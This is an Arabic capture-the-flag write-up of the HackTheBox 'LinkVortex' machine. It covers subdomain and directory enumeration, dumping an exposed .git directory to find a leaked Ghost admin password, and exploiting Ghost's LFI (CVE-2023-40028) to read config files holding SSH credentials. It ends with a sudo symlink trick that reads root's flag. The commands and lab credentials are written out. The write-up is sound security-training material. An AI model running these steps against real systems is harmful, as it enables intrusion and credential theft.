> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/linkvortex-hackthebox-writeup.md). # شرح LinkVortex HackTheBox {% embed url="" %} {% hint style="warning" %} **المهارات:** * استكشاف النطاقات الفرعية * استخراج المعلومات من دليل .git (Git-Dumper) * تسرب المعلومات * استغلال ثغرة LFI (Ghost) * إساءة استخدام امتيازات Sudo عبر سكربت (رابط رمزي مزدوج) {% endhint %} ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

**فحص اتصال VPN** تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

**إعداد ملف /etc/hosts** نضيف عنوان IP الخاص بالهدف إلى `/etc/hosts` الملف لتسهيل عمليات حلّ DNS المحلية.

**اكتشاف المنافذ المفتوحة باستخدام Nmap:** قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 linkvortex.htb -oG allPorts ```

**تحليل المنافذ المفتوحة باستخدام extractPorts:** استخدم دالة extractPorts لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة (22.80)

### **المنفذ 80**

**فحص إصدارات المنافذ باستخدام Nmap:** استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted": ```bash nmap -sCV -p22,80 linkvortex.htb -oN targeted ```

### **استكشاف الأدلة** ```bash wfuzz -c -t 100 --hc=404,301 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://linkvortex.htb/FUZZ/ ```

### لوحة الإدارة - Ghost

### **اكتشاف نطاق فرعي** نبحث عن النطاقات الفرعية المرتبطة بـ `linkvortex.htb` باستخدام gobuster. ```bash gobuster vhost -u http://linkvortex.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 ``` نعثر على النطاق الفرعي `dev.linkvortex.htb`. هذا هو الأمر لتنفيذ هذا البحث:

بمجرد العثور على النطاق الفرعي، نضيفه إلى `/etc/hosts` الملف لتسهيل الوصول:

#### **البحث عن الأدلة في النطاق الفرعي الجديد** نبحث عن الأدلة الموجودة على `dev.linkvortex.htb` النطاق الفرعي باستخدام `gobuster`: ```bash gobuster dir -u http://dev.linkvortex.htb/ -w /usr/share/SecLists/Discovery/Web-Content/common.txt -t 100 ``` نكتشف `.git` الدليل، والذي قد يشير إلى مستودع Git مكشوف.

### **استخراج الملفات باستخدام Git-Dumper** نستخدم `git-dumper` لاستخراج الملفات من `.git` الدليل وتحليلها: ```git git-dumper http://dev.linkvortex.htb/.git .git ```

يتيح لنا ذلك الحصول على ملفات حساسة، بما في ذلك ملف اختبار موجود في `ghost/core/test/regression/api/admin/authentication.test.js`، حيث نجد كلمة مرور:

**تم العثور على كلمة المرور:** ```parser OctopiFociPilfer45 ```

### **تسجيل الدخول إلى لوحة إدارة Ghost** باستخدام هذه الكلمة المرور، نحاول الاتصال بلوحة إدارة Ghost باستخدام عنوان البريد الإلكتروني `admin@linkvortex.htb` : * **البريد الإلكتروني** : `admin@linkvortex.htb` * **كلمة المرور**: `OctopiFociPilfer45`

## ثغرة Ghost - LFI {% embed url="" %}

> أثناء فحص المنافذ، حدّدنا أن إصدار Ghost المستخدم (v5.58) يعاني من ثغرة LFI (تضمين الملفات المحلية)، والمعرّفة بالرمز CVE-2023-40028. لاستغلال هذه الثغرة، نقوم بتنزيل سكربت الاستغلال وتعديل عنوان URL المستهدف ليشير إلى نسخة Ghost الخاصة بنا.

هذا هو الأمر لتشغيل الاستغلال: ```bash ./LFI.sh -u admin@linkvortex.htb -p OctopiFociPilfer45 ``` ثم نحصل على shell ويمكننا عرض ملفات مثل `/etc/passwd`.

**الوصول إلى مسار داخلي عبر LFI** في `.git` الدليل، رصدنا ملف Docker يزوّدنا بمسار داخلي للوصول إلى جلسة: `/var/lib/ghost/config.production.json`.

نستخدم LFI لسرد الملفات والعثور على بيانات اعتماد مستخدم يُدعى Bob:

**بيانات اعتماد Bob:** * **المستخدم**: `bob@linkvortex.htb` * **كلمة المرور**: `fibber-talented-worth` نتصل بالجهاز المستهدف عبر SSH باستخدام بيانات اعتماد Bob: ### الراية user.txt :) نستخدم كلمة المرور `fibber-talented-worth` لتسجيل الدخول والوصول إلى الملف `user.txt`، حيث نجد العلم.

## العلم root.txt :) ### SUDO - Clean/\_synLink.sh نبحث عن ثغرة تسمح بتصعيد الصلاحيات. نكتشف ملفًا بصلاحيات SUID.

#### **تحليل سكربت تنظيف الروابط الرمزية** > نحلل سكربتًا باسم `clean_symlink.sh`، والذي يتحقق مما إذا كان الملف الممرَّر كوسيط هو رابطًا رمزيًا يشير إلى ملف `.png` إذا كان الرابط الرمزي يشير إلى ملف حرج، يحذفه السكربت. وإلا فإنه ينقل الرابط الرمزي إلى الدليل `/var/quarantined/` إذا كانت `CHECK_CONTENT` متغير البيئة مضبوطًا على `true`، يحاول السكربت قراءة محتويات الملف. هذا هو الأمر لإنشاء الروابط الرمزية اللازمة للاستغلال: ```bash ln -s /root/root.txt flag.txt ln -s /home/bob/flag.txt flag.png ``` ثم نشغل السكربت بالأمر التالي للحصول على علم الجذر: ```bash sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/flag.png ``` وبذلك نحصل على `root.txt` العلم.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/linkvortex-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.